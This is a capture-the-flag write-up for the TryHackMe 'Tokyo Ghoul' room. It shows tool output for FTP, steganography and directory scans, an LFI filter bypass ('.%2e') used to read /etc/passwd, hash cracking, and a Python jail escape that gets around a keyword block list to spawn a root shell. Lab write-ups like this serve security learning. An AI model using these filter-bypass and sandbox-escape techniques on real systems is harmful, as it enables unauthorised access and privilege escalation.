Tryhackme Tokyo Ghoul Report, Extract data from files, LFI, Escaping Python Jail


  • This is a room with a Tokyo Ghoul theme.  No info about the Tokyo Ghoul series is required to complete the room, although the creator does mention there are spoilers for Seasons 1 and 2 of the Anime, so be warned!
  • A message from the other ghouls is left as a comment in the source code of the main website page, telling Kaneki (us) to wear an anonymous mask and check out FTP. 
  • FTP service allows anonymous login, and there are three files to download: a text file, an image, and an executable. 
  • Provide a passphrase to the executable to get a passphrase needed to extract data embedded inside the image (steganography). 
  • The data hidden inside the image can be decoded to reveal a directory path on the website. Directory brute forcing reveals another directory that has a parameter susceptible to LFI vulnerability. 
  • The LFI has a filter, but can be bypassed to read files on the web server’s filesystem. 
  • A username and password hash can be read from the LFI and cracked with Hashcat or JohnTheRipper.
  • SSH to the target with the cracked credentials to read the user flag. 
  • Escalate privileges by taking advantage of sudo permissions on and escaping the Python jail to execute system commands. 
└──╼ $rustscan -a -- -A -sC -T5 -vv
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
: :
: :
Nmap? More like slowmap.🐢
Nmap scan report for
Host is up, received syn-ack (0.18s latency).
Scanned at 2021-03-16 20:52:51 EDT for 13s

21/tcp open ftp syn-ack vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 3 ftp ftp 4096 Jan 23 22:26 need_Help?
| ftp-syst:
| FTP server status:
| Connected to ::ffff:
| Logged in as ftp
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome To Tokyo goul
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 13.95 seconds
  • Port 21: FTP; anonymous access is allowed
  • Port 80: A website is present


  • The main web page has a comment message in the page source, and a link to /jasonroom.html
  • /jasonroom.html contains a .gif of a scene from Tokyo Ghoul anime depicting a man in a jason mask about to inject a syringe into Kaneki’s eyeball, and a comment message in the page source. 
  • Both messages tell us to check out the FTP server on port 21


  • There are three files on the FTP server
└──╼ $ftp
Connected to
220 (vsFTPd 3.0.3)
Name ( anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 ftp      ftp          4096 Jan 23 22:26 need_Help?
226 Directory send OK.
ftp> cd need_Help?
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp           480 Jan 23 22:26 Aogiri_tree.txt
drwxr-xr-x    2 ftp      ftp          4096 Jan 23 22:26 Talk_with_me
226 Directory send OK.
ftp> get Aogiri_tree.txt
local: Aogiri_tree.txt remote: Aogiri_tree.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for Aogiri_tree.txt (480 bytes).
226 Transfer complete.
480 bytes received in 0.00 secs (7.7587 MB/s)
ftp> cd Talk_with_me
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xr-x    1 ftp      ftp         17488 Jan 23 22:26 need_to_talk
-rw-r--r--    1 ftp      ftp         46674 Jan 23 22:26 rize_and_kaneki.jpg
226 Directory send OK.
ftp> get rize_and_kaneki.jpg
local: rize_and_kaneki.jpg remote: rize_and_kaneki.jpg
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for rize_and_kaneki.jpg (46674 bytes).
226 Transfer complete.
46674 bytes received in 0.35 secs (131.0744 kB/s)
ftp> get need_to_talk
local: need_to_talk remote: need_to_talk
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for need_to_talk (17488 bytes).
226 Transfer complete.
17488 bytes received in 0.18 secs (96.3989 kB/s)
ftp> exit
221 Goodbye.


└──╼ $cat Aogiri_tree.txt
Why are you so late?? i've been waiting for too long .
So i heard you need help to defeat Jason , so i'll help you to do it and i know you are wondering how i will.
I knew Rize San more than anyone and she is a part of you, right?
That mean you got her kagune , so you should activate her Kagune and to do that you should get all control to your body , i'll help you to know Rise san more and get her kagune , and don't forget you are now a part of the Aogiri tree .
Bye Kaneki.
  • This file is mainly adding onto the Tokyo Ghoul theme and does not contribute to the challenge. 


  • This file is an executable.  Running it returns the following output:
└──╼ $file need_to_talk 
need_to_talk: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, BuildID[sha1]=adba55165982c79dd348a1b03c32d55e15e95cf6, for GNU/Linux 3.2.0, not stripped
└──╼ $./need_to_talk
Hey Kaneki finnaly you want to talk
Unfortunately before I can give you the kagune you need to give me the paraphrase
Do you have what I'm looking for?
Hmm. I don't think this is what I was looking for. Take a look inside of me. rabin2 -z
  • The correct passphrase for this program can be found by examining the strings stored in the binary with the strings command:
└──╼ $strings need_to_talk 
Hey Kaneki finnaly you want to talk 
Unfortunately before I can give you the kagune you need to give me the paraphrase
Do you have what I'm looking for?
Good job. I believe this is what you came for:
Hmm. I don't think this is what I was looking for.
Take a look inside of me. rabin2 -z
GCC: (Debian 9.3.0-15) 9.3.0
  • Provide the correct passphrase and now the program returns:
└──╼ $./need_to_talk 
Hey Kaneki finnaly you want to talk 
Unfortunately before I can give you the kagune you need to give me the paraphrase
Do you have what I'm looking for?

> kamishiro
Good job. I believe this is what you came for:

  • This new passphrase can be used in the next step. 


  • There is hidden data inside of the image file and it can be extracted with steghide:
└──╼ $steghide extract -sf rize_and_kaneki.jpg 
Enter passphrase: 
wrote extracted data to "yougotme.txt".
└──╼ $cat yougotme.txt 
haha you are so smart kaneki but can you talk my code 

..... .-
....- ....-
....- -....
--... ----.
....- -..
...-- ..---
....- -..
...-- ...--
....- -..
....- ---..
....- .-
...-- .....
..... ---..
...-- ..---
....- .
-.... -.-.
-.... ..---
-.... .
..... ..---
-.... -.-.
-.... ...--
-.... --...
...-- -..
...-- -..

if you can talk it allright you got my secret directory 
  • This looks like morse code.  The Cyber Chef online tool can be used to decode all sorts of messages. 
  • The morse code is decoded to reveal hex.  That is decoded to reveal base64.  Once decoded again, ASCII text is shown and is the name of a web directory in the website. 

  • Now that a directory is provided, the website can be further enumerated.

  • /d1r3c70ry_center/ contains a picture from Tokyo Ghoul, the main character Kaneki with his eyes bandaged and screaming with directions to ‘scan me’
  • Directory busting the current directory with the
    directory-list-2.3-small.txt wordlist from SecLists reveals another directory:
└──╼ $dirsearch -u -w ~/wordlists/secLists/Discovery/Web-Content/directory-list-2.3-small.txt 

  _|. _ _  _  _  _ _|_    v0.4.1
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 87645

Error Log: /home/chetboii/programs/dirsearch/logs/errors-21-03-16_22-34-24.log


Output File: /home/chetboii/programs/dirsearch/reports/

[22:34:24] Starting: 
[22:35:11] 301 -  327B  - /d1r3c70ry_center/claim  ->
  • The …/d1r3c70ry_center/claim page has a ‘YES’ and ‘NO’ link, both linking to the same path: http://<target>/d1r3c70ry_center/claim/?view=flower.gif

  • The view parameter does not seem susceptible to injection, but may be a local file inclusion vulnerability because there’s no response from the page until /../../../etc/passwd is used, and it responds with a message: 'no no no silly don't do that'.
  • After trying various payloads, the message only appears when the payload contains two consecutive periods (..); One ASCII period and a URL-encoded period passes the filter though (.%2e).
  • The LFI payload that bypasses the filter and allows us to read the contents of /etc/passwd is:
  • But as long as there’s not two periods next to each other, it will work -as shown in the screenshot below:

  • The LFI vulnerability was exploited to read /etc/passwd, which contains a user’s hash:
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
ftp:x:112:118:ftp daemon,,,:/srv/ftp:/bin/false
  • Kamishiro’s hash can be cracked with Hashcat or JohnTheRipper.  My tool of choice in most cases is hashcat. 
  • The hash can be identified with the Hashcat examples site: 512crypt.  This is hashcat mode 1800. 
  • The hash was already stored in my potfile which means that I had used hashcat previously to crack an identical hash from a prior engagement. Very poor password and should be common in any password list.
PS D:\Downloads\hashcat-6.1.1> .\hashcat.exe -m 1800 .\ghoul.txt .\rockyou.txt
hashcat (v6.1.1) starting...

* Device #1: GeForce GTX 1070, 6592/8192 MB (2048 MB allocatable), 15MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

INFO: All hashes found in potfile! Use --show to display them.

Started: Wed Mar 17 15:20:38 2021
Stopped: Wed Mar 17 15:20:40 2021
PS D:\Downloads\hashcat-6.1.1> .\hashcat.exe -m 1800 .\ghoul.txt --show


  • The cracked password can be used with the associated username to SSH to the target.
└──╼ $ssh kamishiro@

kamishiro@'s password: 
Last login: Sat Jan 23 22:29:38 2021 from
kamishiro@vagrant:~$ ls -alh
total 16K
drwxr-xr-x 2 root root 4.0K Jan 23 22:33 .
drwxr-xr-x 4 root root 4.0K Jan 23 22:27 ..
-rw-r--r-- 1 root root 588 Jan 23 22:27
-rw-r--r-- 1 root root 33 Jan 23 22:27 user.txt
kamishiro@vagrant:~$ cat user.txt


  • Kamishiro’s home folder contains
  • Checking Kamishiro’s sudo permissions shows we can run python3 as root and call the script:
kamishiro@vagrant:/home$ sudo -l
[sudo] password for kamishiro: 
Matching Defaults entries for kamishiro on vagrant.vm:
env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User kamishiro may run the following commands on vagrant.vm:
(ALL) /usr/bin/python3 /home/kamishiro/
  • The contents of the python jail are:
kamishiro@vagrant:~$ cat 
#! /usr/bin/python3
#-*- coding:utf-8 -*-
def main():
    print("Hi! Welcome to my world kaneki")
    print("What ? You gonna stand like a chicken ? fight me Kaneki")
    text = input('>>> ')
    for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
        if keyword in text:
            print("Do you think i will let you do this ??????")
            print('No Kaneki you are so dead')
if __name__ == "__main__":
  • This will execute the user-input, but the user input cannot contain any of the keywords: ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write'] .
  • I copied the script to my host machine to try it out without the keyword check and I could execute system commands no problem:
└──╼ $sudo python3 ./
Hi! Welcome to my world kaneki
What ? You gonna stand like a chicken ? fight me Kaneki
>>> import os; os.system('cat /etc/passwd')
  • So somehow need to run system commands without using the case-sensitive keywords.
  • Searching the web for ‘python jail’ led to a file from a similar CTF, where they described using python built-in modules and converting them into dictionaries so that ‘import’ and ‘os’ can be referenced as uppercase strings, bypassing the case-sensitive keyword check:


  • Python bultins module contains many other modules and functions, including ‘__import__’.
>>> __builtins__.__dict__
{'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", ..., '__import__': <built-in function __import__>, 'abs': <built-in function abs>,...
  • Here, the builtin function ‘__import__’ is displayed. We could reference it as __builtin__.__dict__[‘__IMPORT__’.lower()] and use this method to import os and call system commands as root:
kamishiro@vagrant:~$ sudo /usr/bin/python3 /home/kamishiro/
Hi! Welcome to my world kaneki
What ? You gonna stand like a chicken ? fight me Kaneki
>>> __builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('/bin/bash')
root@vagrant:~# cat /root/root.txt
root@vagrant:~# id
uid=0(root) gid=0(root) groups=0(root)

Leave a Reply